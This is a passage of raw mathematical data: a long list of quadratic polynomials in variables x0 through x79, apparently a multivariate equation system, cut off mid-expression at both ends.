x60*x77 + x60*x78 + x61*x65 + x61*x66 + x61*x68 + x61*x70 + x61*x73 + x61*x76 + x61*x78 + x61*x79 + x62*x65 + x62*x68 + x62*x70 + x62*x75 + x62*x76 + x62*x77 + x62*x78 + x62 + x63*x64 + x63*x66 + x63*x67 + x63*x70 + x63*x76 + x63*x78 + x63 + x64*x65 + x64*x66 + x64*x67 + x64*x71 + x64*x72 + x64*x73 + x64*x74 + x64*x76 + x64*x79 + x64 + x65*x70 + x65*x73 + x65*x74 + x65*x78 + x65 + x66*x67 + x66*x68 + x66*x69 + x66*x71 + x66*x72 + x66*x73 + x66*x75 + x66*x76 + x66*x78 + x66 + x67*x70 + x67*x71 + x67*x76 + x68*x70 + x68*x74 + x68*x76 + x68*x78 + x68*x79 + x69*x72 + x69*x74 + x69*x76 + x69*x77 + x69*x79 + x70*x71 + x70*x72 + x70*x74 + x70*x75 + x70*x77 + x70*x78 + x71*x72 + x71*x73 + x71*x75 + x71*x77 + x71*x78 + x71*x79 + x71 + x72*x73 + x72*x74 + x72*x76 + x72*x77 + x72*x78 + x72*x79 + x73*x74 + x73*x77 + x73*x79 + x73 + x74*x76 + x74*x77 + x74*x78 + x74*x79 + x74 + x75*x77 + x76*x77 + x76*x78 + x76 + x77*x79 + x78*x79 + x79, x0*x1 + x0*x2 + x0*x3 + x0*x6 + x0*x7 + x0*x9 + x0*x15 + x0*x16 + x0*x18 + x0*x20 + x0*x22 + x0*x23 + x0*x28 + x0*x29 + x0*x31 + x0*x39 + x0*x41 + x0*x42 + x0*x43 + x0*x45 + x0*x46 + x0*x49 + x0*x50 + x0*x52 + x0*x53 + x0*x55 + x0*x56 + x0*x58 + x0*x59 + x0*x61 + x0*x62 + x0*x64 + x0*x66 + x0*x67 + x0*x68 + x0*x69 + x0*x70 + x0*x71 + x0*x72 + x0*x74 + x0*x77 + x0*x78 + x1*x2 + x1*x4 + x1*x12 + x1*x14 + x1*x15 + x1*x19 + x1*x24 + x1*x26 + x1*x27 + x1*x30 + x1*x31 + x1*x32 + x1*x33 + x1*x35 + x1*x36 + x1*x37 + x1*x38 + x1*x39 + x1*x40 + x1*x41 + x1*x42 + x1*x43 + x1*x46 + x1*x48 + x1*x50 + x1*x53 + x1*x56 + x1*x58 + x1*x65 + x1*x69 + x1*x73 + x1*x74 + x1*x76 + x1*x77 + x1*x78 + x2*x3 + x2*x4 + x2*x6 + x2*x10 + x2*x11 + x2*x14 + x2*x15 + x2*x16 + x2*x17 + x2*x20 + x2*x30 + x2*x31 + x2*x39 + x2*x43 + x2*x44 + x2*x45 + x2*x46 + x2*x48 + x2*x50 + x2*x54 + x2*x55 + x2*x56 + x2*x57 + x2*x60 + x2*x61 + x2*x69 + x2*x70 + x2*x73 + x2*x75 + x2*x76 + x2*x77 + x3*x5 + x3*x7 + x3*x10 + x3*x12 + x3*x14 + x3*x19 + x3*x21 + x3*x23 + x3*x24 + x3*x26 + x3*x27 + x3*x28 + x3*x30 + x3*x32 + x3*x33 + x3*x34 + x3*x37 + x3*x38 + x3*x41 + x3*x43 + x3*x51 + x3*x53 + x3*x54 + x3*x55 + x3*x56 + x3*x57 + x3*x60 + x3*x61 + x3*x66 + x3*x67 + x3*x69 + x3*x70 + x3*x73 + x3*x74 + x3*x76 + x3*x78 + x4*x6 + x4*x8 + x4*x9 + x4*x11 + x4*x12 + x4*x15 + x4*x16 + x4*x23 + x4*x24 + x4*x25 + x4*x26 + x4*x27 + x4*x31 + x4*x34 + x4*x35 + x4*x36 + x4*x39 + x4*x40 + x4*x41 + x4*x43 + x4*x47 + x4*x48 + x4*x50 + x4*x51 + x4*x54 + x4*x56 + x4*x58 + x4*x60 + x4*x61 + x4*x62 + x4*x64 + x4*x67 + x4*x71 + x4*x72 + x4*x78 + x4 + x5*x10 + x5*x15 + x5*x16 + x5*x20 + x5*x21 + x5*x23 + x5*x25 + x5*x26 + x5*x28 + x5*x29 + x5*x30 + x5*x32 + x5*x33 + x5*x36 + x5*x37 + x5*x38 + x5*x41 + x5*x42 + x5*x43 + x5*x44 + x5*x46 + x5*x48 + x5*x49 + x5*x51 + x5*x52 + x5*x55 + x5*x57 + x5*x65 + x5*x66 + x5*x67 + x5*x69 + x5*x70 + x5*x72 + x5*x73 + x5*x74 + x5*x75 + x5*x76 + x5*x77 + x6*x7 + x6*x8 + x6*x11 + x6*x12 + x6*x13 + x6*x16 + x6*x17 + x6*x18 + x6*x19 + x6*x20 + x6*x22 + x6*x25 + x6*x29 + x6*x33 + x6*x36 + x6*x39 + x6*x42 + x6*x43 + x6*x44 + x6*x45 + x6*x47 + x6*x48 + x6*x49 + x6*x52 + x6*x53 + x6*x54 + x6*x60 + x6*x63 + x6*x67 + x6*x71 + x6*x72 + x6*x74 + x6*x76 + x6*x79 + x7*x10 + x7*x11 + x7*x14 + x7*x23 + x7*x25 + x7*x26 + x7*x27 + x7*x28 + x7*x29 + x7*x30 + x7*x32 + x7*x33 + x7*x36 + x7*x39 + x7*x47 + x7*x49 + x7*x50 + x7*x52 + x7*x55 + x7*x56 + x7*x58 + x7*x60 + x7*x61 + x7*x63 + x7*x64 + x7*x65 + x7*x69 + x7*x71 + x7*x77 + x8*x10 + x8*x12 + x8*x18 + x8*x21 + x8*x22 + x8*x28 + x8*x29 + x8*x31 + x8*x32 + x8*x37 + x8*x39 + x8*x41 + x8*x43 + x8*x44 + x8*x45 + x8*x47 + x8*x50 + x8*x51 + x8*x52 + x8*x53 + x8*x57 + x8*x59 + x8*x62 + x8*x68 + x8*x72 + x8*x76 + x8*x77 + x9*x16 + x9*x19 + x9*x20 + x9*x22 + x9*x23 + x9*x24 + x9*x25 + x9*x27 + x9*x28 + x9*x29 + x9*x32 + x9*x37 + x9*x39 + x9*x40 + x9*x42 + x9*x45 + x9*x46 + x9*x47 + x9*x48 + x9*x53 + x9*x54 + x9*x56 + x9*x57 + x9*x59 + x9*x60 + x9*x61 + x9*x63 + x9*x66 + x9*x70 + x9*x72 + x9*x73 + x9*x75 + x9*x77 + x9*x78 + x9*x79 + x9 + x10*x12 + x10*x14 + x10*x15 + x10*x16 + x10*x17 + x10*x18 + x10*x21 + x10*x23 + x10*x24 + x10*x28 + x10*x29 + x10*x30 + x10*x32 + x10*x33 + x10*x34 + x10*x35 + x10*x39 + x10*x40 + x10*x41 + x10*x43 + x10*x44 + x10*x48 + x10*x50 + x10*x54 + x10*x55 + x10*x57 + x10*x60 + x10*x61 + x10*x63 + x10*x67 + x10*x68 + x10*x75 + x10 + x11*x12 + x11*x19 + x11*x22 + x11*x23 + x11*x25 + x11*x26 + x11*x27 + x11*x28 + x11*x30 + x11*x31 + x11*x32 + x11*x34 + x11*x35 + x11*x37 + x11*x38 + x11*x41 + x11*x42 + x11*x44 + x11*x45 + x11*x48 + x11*x50 + x11*x52 + x11*x53 + x11*x55 + x11*x56 + x11*x58 + x11*x59 + x11*x62 + x11*x64 + x11*x66 + x11*x68 + x11*x70 + x11*x71 + x11*x73 + x11*x75 + x11*x76 + x11*x77 + x11 + x12*x13 + x12*x14 + x12*x17 + x12*x18 + x12*x21 + x12*x22 + x12*x26 + x12*x27 + x12*x32 + x12*x33 + x12*x35 + x12*x37 + x12*x38 + x12*x47 + x12*x51 + x12*x52 + x12*x54 + x12*x56 + x12*x60 + x12*x61 + x12*x63 + x12*x64 + x12*x66 + x12*x68 + x12*x73 + x12*x75 + x12*x76 + x12 + x13*x16 + x13*x20 + x13*x21 + x13*x23 + x13*x24 + x13*x25 + x13*x28 + x13*x30 + x13*x36 + x13*x39 + x13*x41 + x13*x42 + x13*x44 + x13*x45 + x13*x46 + x13*x48 + x13*x52 + x13*x54 + x13*x58 + x13*x60 + x13*x63 + x13*x65 + x13*x66 + x13*x67 + x13*x68 + x13*x71 + x13*x73 + x13*x74 + x13*x75 + x13*x76 + x13*x77 + x13*x78 + x14*x16 + x14*x28 + x14*x29 + x14*x30 + x14*x33 + x14*x34 + x14*x35 + x14*x36 + x14*x37 + x14*x38 + x14*x45 + x14*x46 + x14*x47 + x14*x48 + x14*x49 + x14*x51 + x14*x52 + x14*x53 + x14*x54 + x14*x55 + x14*x56 + x14*x57 + x14*x58 + x14*x59 + x14*x61 + x14*x63 + x14*x65 + x14*x67 + x14*x68 + x14*x72 + x14*x74 + x14*x75 + x14*x77 + x15*x16 + x15*x18 + x15*x19 + x15*x21 + x15*x22 + x15*x23 + x15*x29 + x15*x30 + x15*x33 + x15*x34 + x15*x37 + x15*x38 + x15*x40 + x15*x41 + x15*x43 + x15*x45 + x15*x47 + x15*x48 + x15*x49 + x15*x50 + x15*x51 + x15*x54 + x15*x55 + x15*x58 + x15*x61 + x15*x64 + x15*x68 + x15*x78 + x16*x17 + x16*x18 + x16*x19 + x16*x20 + x16*x24 + x16*x25 + x16*x26 + x16*x30 + x16*x31 + x16*x33 + x16*x36 + x16*x38 + x16*x39 + x16*x40 + x16*x42 + x16*x44 + x16*x47 + x16*x48 + x16*x50 + x16*x52 + x16*x53 + x16*x57 + x16*x58 + x16*x59 + x16*x61 + x16*x62 + x16*x64 + x16*x65 + x16*x67 + x16*x69 + x16*x70 + x16*x75 + x16*x76 + x16*x77 + x16*x78 + x16 + x17*x18 + x17*x21 + x17*x24 + x17*x25 + x17*x28 + x17*x33 + x17*x34 + x17*x37 + x17*x39 + x17*x40 + x17*x42 + x17*x43 + x17*x44 + x17*x45 + x17*x48 + x17*x49 + x17*x50 + x17*x53 + x17*x54 + x17*x59 + x17*x60 + x17*x61 + x17*x63 + x17*x64 + x17*x65 + x17*x68 + x17*x69 + x17*x71 + x17*x75 + x17*x77 + x17*x78 + x17*x79 + x18*x20 + x18*x23 + x18*x25 + x18*x30 + x18*x31 + x18*x33 + x18*x34 + x18*x35 + x18*x39 + x18*x40 + x18*x41 + x18*x45 + x18*x46 + x18*x50 + x18*x53 + x18*x56 + x18*x58 + x18*x66 + x18*x68 + x18*x69 + x18*x70 + x18*x71 + x18*x72 + x18*x73 + x18*x79 + x19*x21 + x19*x23 + x19*x25 + x19*x26 + x19*x28 + x19*x29 + x19*x30 + x19*x31 + x19*x33 + x19*x37 + x19*x38 + x19*x39 + x19*x40 + x19*x41 + x19*x42 + x19*x43 + x19*x44 + x19*x45 + x19*x47 + x19*x48 + x19*x50 + x19*x52 + x19*x53 + x19*x60 + x19*x61 + x19*x63 + x19*x65 + x19*x67 + x19*x68 + x19*x70 + x19*x72 + x19*x73 + x19*x75 + x19*x77 + x20*x23 + x20*x24 + x20*x27 + x20*x28 + x20*x29 + x20*x32 + x20*x36 + x20*x37 + x20*x39 + x20*x40 + x20*x41 + x20*x42 + x20*x44 + x20*x45 + x20*x46 + x20*x47 + x20*x48 + x20*x54 + x20*x55 + x20*x60 + x20*x61 + x20*x62 + x20*x65 + x20*x66 + x20*x67 + x20*x70 + x20*x73 + x20*x75 + x20*x76 + x20*x78 + x20*x79 + x21*x24 + x21*x27 + x21*x28 + x21*x33 + x21*x35 + x21*x38 + x21*x39 + x21*x40 + x21*x44 + x21*x47 + x21*x49 + x21*x51 + x21*x52 + x21*x57 + x21*x59 + x21*x64 + x21*x65 + x21*x66 + x21*x68 + x21*x71 + x21*x73 + x21*x74 + x21*x75 + x21 + x22*x23 + x22*x24 + x22*x25 + x22*x27 + x22*x29 + x22*x30 + x22*x34 + x22*x35 + x22*x36 + x22*x38 + x22*x39 + x22*x41 + x22*x42 + x22*x43 + x22*x46 + x22*x47 + x22*x49 + x22*x51 + x22*x52 + x22*x53 + x22*x55 + x22*x58 + x22*x60 + x22*x61 + x22*x63 + x22*x66 + x22*x69 + x22*x72 + x22*x73 + x22*x75 + x22*x76 + x22*x77 + x22*x78 + x22 + x23*x25 + x23*x30 + x23*x32 + x23*x35 + x23*x37 + x23*x43 + x23*x44 + x23*x46 + x23*x47 + x23*x49 + x23*x51 + x23*x56 + x23*x57 + x23*x58 + x23*x59 + x23*x60 + x23*x63 + x23*x64 + x23*x66 + x23*x67 + x23*x69 + x23*x70 + x23*x71 + x23*x75 + x23*x78 + x23*x79 + x24*x25 + x24*x29 + x24*x32 + x24*x39 + x24*x41 + x24*x44 + x24*x46 + x24*x47 + x24*x48 + x24*x49 + x24*x52 + x24*x55 + x24*x57 + x24*x58 + x24*x59 + x24*x60 + x24*x62 + x24*x63 + x24*x64 + x24*x65 + x24*x67 + x24*x68 + x24*x71 + x24*x72 + x24*x73 + x24*x74 + x24*x75 + x24*x76 + x24*x77 + x24*x78 + x24*x79 + x24 + x25*x26 + x25*x28 + x25*x29 + x25*x31 + x25*x34 + x25*x35 + x25*x36 + x25*x38 + x25*x39 + x25*x40 + x25*x41 + x25*x47 + x25*x48 + x25*x49 + x25*x53 + x25*x54 + x25*x55 + x25*x56 + x25*x57 + x25*x61 + x25*x65 + x25*x69 + x25*x75 + x25*x76 + x25*x78 + x26*x27 + x26*x29 + x26*x30 + x26*x31 + x26*x34 + x26*x37 + x26*x38 + x26*x39 + x26*x41 + x26*x46 + x26*x48 + x26*x50 + x26*x52 + x26*x54 + x26*x56 + x26*x59 + x26*x61 + x26*x62 + x26*x63 + x26*x64 + x26*x65 + x26*x67 + x26*x69 + x26*x72 + x26*x74 + x26*x76 + x26*x77 + x26*x78 + x26 + x27*x30 + x27*x32 + x27*x33 + x27*x34 + x27*x37 + x27*x45 + x27*x48 + x27*x49 + x27*x50 + x27*x52 + x27*x54 + x27*x59 + x27*x60 + x27*x61 + x27*x65 + x27*x67 + x27*x70 + x27*x72 + x27*x73 + x27*x75 + x27*x78 + x27*x79 + x28*x29 + x28*x31 + x28*x32 + x28*x37 + x28*x38 + x28*x39 + x28*x41 + x28*x45 + x28*x47 + x28*x48 + x28*x49 + x28*x50 + x28*x52 + x28*x54 + x28*x55 + x28*x56 + x28*x57 + x28*x58 + x28*x60 + x28*x61 + x28*x64 + x28*x65 + x28*x69 + x28*x72 + x28*x77 + x28*x78 + x28*x79 + x28 + x29*x30 + x29*x31 + x29*x32 + x29*x36 + x29*x37 + x29*x38 + x29*x41 + x29*x42 + x29*x43 + x29*x44 + x29*x45 + x29*x46 + x29*x47 + x29*x52 + x29*x57 + x29*x58 + x29*x59 + x29*x60 + x29*x64 + x29*x65 + x29*x66 + x29*x67 + x29*x71 + x29*x72 + x29*x73 + x29*x75 + x29*x76 + x29*x79 + x30*x32 + x30*x35 + x30*x36 + x30*x37 + x30*x38 + x30*x40 + x30*x41 + x30*x42 + x30*x45 + x30*x46 + x30*x47 + x30*x50 + x30*x51 + x30*x57 + x30*x61 + x30*x62 + x30*x63 + x30*x66 + x30*x71 + x30*x75 + x30*x76 + x30*x78 + x30*x79 + x30 + x31*x35 + x31*x37 + x31*x38 + x31*x41 + x31*x42 + x31*x45 + x31*x49 + x31*x50 + x31*x51 + x31*x54 + x31*x55 + x31*x56 + x31*x58 + x31*x61 + x31*x62 + x31*x63 + x31*x66 + x31*x67 + x31*x69 + x31*x70 + x31*x73 + x31*x74 + x31*x75 + x31*x79 + x31 + x32*x34 + x32*x35 + x32*x38 + x32*x40 + x32*x46 + x32*x47 + x32*x48 + x32*x49 + x32*x50 + x32*x52 + x32*x55 + x32*x56 + x32*x57 + x32*x58 + x32*x60 + x32*x62 + x32*x63 + x32*x64 + x32*x66 + x32*x67 + x32*x68 + x32*x71 + x32*x75 + x32*x77 + x32*x78 + x32*x79 + x32 + x33*x34 + x33*x35 + x33*x41 + x33*x45 + x33*x46 + x33*x47 + x33*x52 + x33*x54 + x33*x56 + x33*x57 + x33*x58 + x33*x59 + x33*x64 + x33*x69 + x33*x70 + x33*x71 + x33*x72 + x33*x75 + x33*x76 + x33*x78 + x33*x79 + x33 + x34*x36 + x34*x37 + x34*x40 + x34*x41 + x34*x42 + x34*x44 + x34*x47 + x34*x48 + x34*x49 + x34*x50 + x34*x51 + x34*x53 + x34*x54 + x34*x58 + x34*x59 + x34*x61 + x34*x63 + x34*x65 + x34*x70 + x34*x71 + x34*x73 + x34*x74 + x34*x79 + x35*x36 + x35*x39 + x35*x40 + x35*x41 + x35*x45 + x35*x46 + x35*x48 + x35*x50 + x35*x55 + x35*x57 + x35*x59 + x35*x60 + x35*x63 + x35*x65 + x35*x66 + x35*x67 + x35*x69 + x35*x72 + x35*x73 + x35*x75 + x35*x77 + x35 + x36*x37 + x36*x40 + x36*x41 + x36*x44 + x36*x45 + x36*x47 + x36*x48 + x36*x49 + x36*x55 + x36*x56 + x36*x57 + x36*x61 + x36*x62 + x36*x63 + x36*x68 + x36*x70 + x36*x71 + x36*x73 + x36*x79 + x37*x38 + x37*x39 + x37*x41 + x37*x42 + x37*x43 + x37*x44 + x37*x45 + x37*x46 + x37*x47 + x37*x49 + x37*x50 + x37*x52 + x37*x55 + x37*x60 + x37*x61 + x37*x63 + x37*x65 + x37*x66 + x37*x70 + x37*x72 + x37*x75 + x37*x77 + x37*x78 + x38*x39 + x38*x41 + x38*x42 + x38*x43 + x38*x45 + x38*x48 + x38*x50 + x38*x51 + x38*x52 + x38*x57 + x38*x58 + x38*x63 + x38*x67 + x38*x69 + x38*x70 + x38*x71 + x38*x72 + x38*x73 + x38*x74 + x38*x75 + x38*x76 + x38*x77 + x38*x79 + x38 + x39*x40 + x39*x41 + x39*x44 + x39*x45 + x39*x50 + x39*x54 + x39*x56 + x39*x59 + x39*x60 + x39*x61 + x39*x62 + x39*x67 + x39*x68 + x39*x69 + x39*x70 + x39*x71 + x39*x72 + x39*x76 + x39*x77 + x39*x78 + x39*x79 + x40*x41 + x40*x44 + x40*x45 + x40*x46 + x40*x49 + x40*x50 + x40*x51 + x40*x52 + x40*x55 + x40*x59 + x40*x60 + x40*x61 + x40*x65 + x40*x67 + x40*x68 + x40*x69 + x40*x70 + x40*x74 + x40*x77 + x40*x79 + x41*x44 + x41*x45 + x41*x47 + x41*x50 + x41*x52 + x41*x53 + x41*x54 + x41*x55 + x41*x56 + x41*x58 + x41*x60 + x41*x63 + x41*x66 + x41*x67 + x41*x68 + x41*x70 + x41*x71 + x41*x72 + x41*x75 + x41*x77 + x41*x78 + x41 + x42*x46 + x42*x47 + x42*x48 + x42*x50 + x42*x51 + x42*x52 + x42*x54 + x42*x57 + x42*x58 + x42*x62 + x42*x63 + x42*x68 + x42*x72 + x42*x73 + x42*x74 + x42*x76 + x42*x79 + x43*x44 + x43*x45 + x43*x46 + x43*x49 + x43*x52 + x43*x56 + x43*x57 + x43*x59 + x43*x60 + x43*x62 + x43*x63 + x43*x64 + x43*x65 + x43*x66 + x43*x67 + x43*x68 + x43*x71 + x43*x72 + x43*x75 + x43*x76 + x43*x77 + x43*x78 + x43 + x44*x45 + x44*x46 + x44*x47 + x44*x48 + x44*x49 + x44*x51 + x44*x52 + x44*x53 + x44*x55 + x44*x58 + x44*x59 + x44*x61 + x44*x63 + x44*x67 + x44*x70 + x44*x72 + x44*x75 + x44*x76 + x44*x78 + x44 + x45*x47 + x45*x50 + x45*x53 + x45*x54 + x45*x56 + x45*x58 + x45*x60 + x45*x63 + x45*x64 + x45*x67 + x45*x69 + x45*x70 + x45*x72 + x45*x73 + x45*x74 + x45*x76 + x45*x77 + x46*x47 + x46*x49 + x46*x52 + x46*x53 + x46*x54 + x46*x55 + x46*x59 + x46*x63 + x46*x64 + x46*x66 + x46*x67 + x46*x68 + x46*x69 + x46*x73 + x46*x76 + x46*x78 + x46*x79 + x46 + x47*x50 + x47*x51 + x47*x52 + x47*x56 + x47*x62 + x47*x63 + x47*x65 + x47*x66 + x47*x67 + x47*x69 + x47*x70 + x47*x71 + x47*x72 + x47*x73 + x47*x74 + x47*x76 + x47*x77 + x47*x79 + x48*x51 + x48*x52 + x48*x53 + x48*x59 + x48*x62 + x48*x64 + x48*x65 + x48*x66 + x48*x69 + x48*x70 + x48*x71 + x48*x73 + x48*x74 + x48*x77 + x48*x79 + x48 + x49*x51 + x49*x53 + x49*x55 + x49*x60 + x49*x65 + x49*x66 + x49*x67 + x49*x68 + x49*x69 + x49*x74 + x49*x76 + x49 + x50*x55 + x50*x56 + x50*x59 + x50*x61 + x50*x62 + x50*x65 + x50*x66 + x50*x72 + x50*x74 + x50*x75 + x50*x76 + x50*x79 + x50 + x51*x52 + x51*x54 + x51*x56 + x51*x59 + x51*x60 + x51*x61 + x51*x62 + x51*x66 + x51*x68 + x51*x71 + x51*x73 + x51*x74 + x51*x75 + x51*x77 + x51 + x52*x53 + x52*x54 + x52*x55 + x52*x58 + x52*x61 + x52*x66 + x52*x67 + x52*x72 + x52*x73 + x52*x74 + x52*x76 + x52 + x53*x54 + x53*x56 + x53*x57 + x53*x59 + x53*x62 + x53*x64 + x53*x65 + x53*x69 + x53*x70 + x53*x73 + x53*x74 + x53*x75 + x53*x76 + x53*x78 + x53 + x54*x55 + x54*x56 + x54*x58 + x54*x64 + x54*x65 + x54*x67 + x54*x68 + x54*x69 + x54*x70 + x54*x71 + x54*x72 + x54*x73 + x54*x74 + x54*x75 + x54*x77 + x54*x78 + x55*x56 + x55*x57 + x55*x58 + x55*x59 + x55*x61 + x55*x62 + x55*x65 + x55*x66 + x55*x67 + x55*x68 + x55*x69 + x55*x72 + x55*x74 + x55*x75 + x55*x77 + x55*x78 + x55*x79 + x56*x58 + x56*x59 + x56*x62 + x56*x65 + x56*x66 + x56*x67 + x56*x68 + x56*x74 + x56 + x57*x58 + x57*x59 + x57*x61 + x57*x62 + x57*x65 + x57*x67 + x57*x71 + x57*x72 + x57*x74 + x57*x75 + x57*x76 + x57*x77 + x57*x79 + x57 + x58*x60 + x58*x61 + x58*x64 + x58*x68 + x58*x69 + x58*x71 + x58*x72 + x58*x76 + x58 + x59*x63 + x59*x65 + x59*x66 + x59*x67 + x59*x68 + x59*x69 + x59*x74 + x59*x75 + x59*x77 + x59*x79 + x60*x61 + x60*x64 + x60*x65 + x60*x66 + x60*x70 + x60*x71 + x60*x72 + x60*x76 + x60*x77 + x60*x78 + x60*x79 + x61*x63 + x61*x65 + x61*x69 + x61*x71 + x61*x72 + x61*x75 + x61*x78 + x62*x65 + x62*x67 + x62*x68 + x62*x69 + x62*x70 + x62*x73 + x62*x74 + x62*x75 + x62*x76 + x63*x68 + x63*x70 + x63*x71 + x63*x72 + x63*x73 + x63*x74 + x63*x75 + x63*x76 + x63*x78 + x63*x79 + x64*x67 + x64*x68 + x64*x69 + x64*x70 + x64*x71 + x64*x75 + x64*x76 + x64*x77 + x65*x67 + x65*x72 + x65*x73 + x65*x74 + x65*x75 + x65*x79 + x66*x67 + x66*x70 + x66*x73 + x66*x74 + x66*x76 + x66 + x67*x68 + x67*x72 + x67*x73 + x67*x75 + x67*x78 + x67*x79 + x68*x70 + x68*x73 + x68*x76 + x68*x77 + x68*x78 + x68*x79 + x69*x70 + x69*x73 + x69*x74 + x69*x76 + x69*x77 + x69 + x70*x71 + x70*x74 + x70*x78 + x70 + x71*x72 + x71*x74 + x71*x77 + x71*x78 + x71*x79 + x71 + x72*x78 + x72*x79 + x73*x74 + x73*x75 + x73*x76 + x73 + x74*x75 + x74*x79 + x75*x76 + x75 + x76*x77 + x76*x78 + x76*x79 + x77*x79 + x79, x0*x1 + x0*x2 + x0*x3 + x0*x4 + x0*x6 + x0*x7 + x0*x8 + x0*x10 + x0*x12 + x0*x14 + x0*x15 + x0*x17 + x0*x18 + x0*x20 + x0*x21 + x0*x23 + x0*x24 + x0*x25 + x0*x26 + x0*x28 + x0*x30 + x0*x33 + x0*x34 + x0*x35 + x0*x36 + x0*x37 + x0*x39 + x0*x40 + x0*x42 + x0*x47 + x0*x48 + x0*x52 + x0*x55 + x0*x57 + x0*x58 + x0*x59 + x0*x67 + x0*x69 + x0*x72 + x0*x74 + x0*x75 + x0*x79 + x1*x2 + x1*x3 + x1*x4 + x1*x8 + x1*x13 + x1*x14 + x1*x15 + x1*x18 + x1*x19 + x1*x20 + x1*x22 + x1*x23 + x1*x24 + x1*x29 + x1*x33 + x1*x39 + x1*x42 + x1*x45 + x1*x48 + x1*x49 + x1*x50 + x1*x51 + x1*x54 + x1*x56 + x1*x57 + x1*x58 + x1*x59 + x1*x62 + x1*x63 + x1*x64 + x1*x67 + x1*x68 + x1*x71 + x1*x72 + x1*x73 + x1*x75 + x1*x76 + x1*x77 + x1*x79 + x2*x3 + x2*x4 + x2*x5 + x2*x7 + x2*x8 + x2*x10 + x2*x11 + x2*x12 + x2*x13 + x2*x14 + x2*x16 + x2*x17 + x2*x19 + x2*x20 + x2*x21 + x2*x22 + x2*x23 + x2*x24 + x2*x25 + x2*x26 + x2*x27 + x2*x30 + x2*x32 + x2*x33 + x2*x37 + x2*x38 + x2*x40 + x2*x43 + x2*x46 + x2*x49 + x2*x51 + x2*x52 + x2*x54 + x2*x55 + x2*x59 + x2*x60 + x2*x61 + x2*x63 + x2*x64 + x2*x65 + x2*x67 + x2*x68 + x2*x69 + x2*x72 + x2*x73 + x2*x75 + x2*x76 + x2*x77 + x2*x78 + x2*x79 + x2 + x3*x5 + x3*x7 + x3*x15 + x3*x17 + x3*x18 + x3*x19 + x3*x20 + x3*x21 + x3*x23 + x3*x24 + x3*x25 + x3*x26 + x3*x27 + x3*x28 + x3*x29 + x3*x30 + x3*x32 + x3*x33 + x3*x35 + x3*x36 + x3*x37 + x3*x38 + x3*x43 + x3*x44 + x3*x45 + x3*x47 + x3*x50 + x3*x52 + x3*x54 + x3*x56 + x3*x59 + x3*x61 + x3*x64 + x3*x65 + x3*x66 + x3*x67 + x3*x68 + x3*x69 + x3*x70 + x3*x74 + x3*x76 + x3*x79 + x4*x5 + x4*x9 + x4*x11 + x4*x13 + x4*x14 + x4*x16 + x4*x18 + x4*x19 + x4*x20 + x4*x21 + x4*x22 + x4*x27 + x4*x29 + x4*x30 + x4*x34 + x4*x35 + x4*x37 + x4*x38 + x4*x44 + x4*x46 + x4*x47 + x4*x48 + x4*x49 + x4*x53 + x4*x54 + x4*x56 + x4*x63 + x4*x64 + x4*x65 + x4*x67 + x4*x68 + x4*x70 + x4*x71 + x4*x73 + x4*x74 + x4*x77 + x5*x6 + x5*x8 + x5*x10 + x5*x11 + x5*x12 + x5*x14 + x5*x17 + x5*x21 + x5*x23 + x5*x24 + x5*x25 + x5*x26 + x5*x27 + x5*x28 + x5*x29 + x5*x31 + x5*x32 + x5*x33 + x5*x35 + x5*x37 + x5*x40 + x5*x41 + x5*x42 + x5*x44 + x5*x45 + x5*x47 + x5*x50 + x5*x54 + x5*x55 + x5*x57 + x5*x60 + x5*x61 + x5*x62 + x5*x63 + x5*x64 + x5*x66 + x5*x67 + x5*x69 + x5*x70 + x5*x71 + x5*x74 + x5*x76 + x5*x77 + x5*x78 + x5*x79 + x6*x10 + x6*x12 + x6*x13 + x6*x16 + x6*x19 + x6*x20 + x6*x21 + x6*x22 + x6*x23 + x6*x24 + x6*x25 + x6*x27 + x6*x28 + x6*x29 + x6*x31 + x6*x37 + x6*x39 + x6*x42 + x6*x47 + x6*x48 + x6*x51 + x6*x52 + x6*x53 + x6*x54 + x6*x55 + x6*x56 + x6*x60 + x6*x62 + x6*x64 + x6*x65 + x6*x66 + x6*x67 + x6*x69 + x6*x72 + x6*x76 + x6*x77 + x7*x9 + x7*x10 + x7*x11 + x7*x12 + x7*x15 + x7*x16 + x7*x17 + x7*x18 + x7*x21 + x7*x22 + x7*x23 + x7*x26 + x7*x28 + x7*x30 + x7*x32 + x7*x33 + x7*x35 + x7*x38 + x7*x41 + x7*x42 + x7*x44 + x7*x46 + x7*x48 + x7*x49 + x7*x51 + x7*x52 + x7*x56 + x7*x59 + x7*x65 + x7*x71 + x7*x72 + x7*x73 + x7*x74 + x7*x75 + x7*x79 + x8*x10 + x8*x11 + x8*x12 + x8*x13 + x8*x16 + x8*x17 + x8*x18 + x8*x19 + x8*x20 + x8*x21 + x8*x22 + x8*x23 + x8*x24 + x8*x25 + x8*x26 + x8*x28 + x8*x29 + x8*x31 + x8*x32 + x8*x33 + x8*x36 + x8*x37 + x8*x38 + x8*x40 + x8*x43 + x8*x44 + x8*x46 + x8*x47 + x8*x49 + x8*x50 + x8*x52 + x8*x54 + x8*x58 + x8*x59 + x8*x62 + x8*x63 + x8*x64 + x8*x65 + x8*x66 + x8*x67 + x8*x68 + x8*x71 + x8*x75 + x8*x77 + x8*x78 + x8*x79 + x8 + x9*x11 + x9*x12 + x9*x15 + x9*x16 + x9*x17 + x9*x18 + x9*x19 + x9*x20 + x9*x21 + x9*x23 + x9*x25 + x9*x26 + x9*x27 + x9*x30 + x9*x34 + x9*x36 + x9*x37 + x9*x38 + x9*x43 + x9*x46 + x9*x47 + x9*x48 + x9*x49 + x9*x50 + x9*x52 + x9*x56 + x9*x57 + x9*x59 + x9*x60 + x9*x61 + x9*x64 + x9*x65 + x9*x66 + x9*x69 + x9*x71 + x9*x73 + x9*x76 + x9*x77 + x9 + x10*x12 + x10*x13 + x10*x15 + x10*x17 + x10*x20 + x10*x25 + x10*x26 + x10*x27 + x10*x28 + x10*x32 + x10*x33 + x10*x36 + x10*x37 + x10*x39 + x10*x40 + x10*x41 + x10*x43 + x10*x45 + x10*x48 + x10*x51 + x10*x52 + x10*x54 + x10*x55 + x10*x56 + x10*x58 + x10*x59 + x10*x63 + x10*x67 + x10*x69 + x10*x71 + x10*x72 + x10*x73 + x10*x75 + x10*x77 + x10*x78 + x11*x12 + x11*x14 + x11*x15 + x11*x17 + x11*x22 + x11*x23 + x11*x26 + x11*x27 + x11*x28 + x11*x33 + x11*x34 + x11*x39 + x11*x40 + x11*x41 + x11*x42 + x11*x43 + x11*x45 + x11*x47 + x11*x48 + x11*x51 + x11*x52 + x11*x53 + x11*x56 + x11*x57 + x11*x58 + x11*x59 + x11*x60 + x11*x63 + x11*x65 + x11*x68 + x11*x77 + x11*x79 + x12*x18 + x12*x20 + 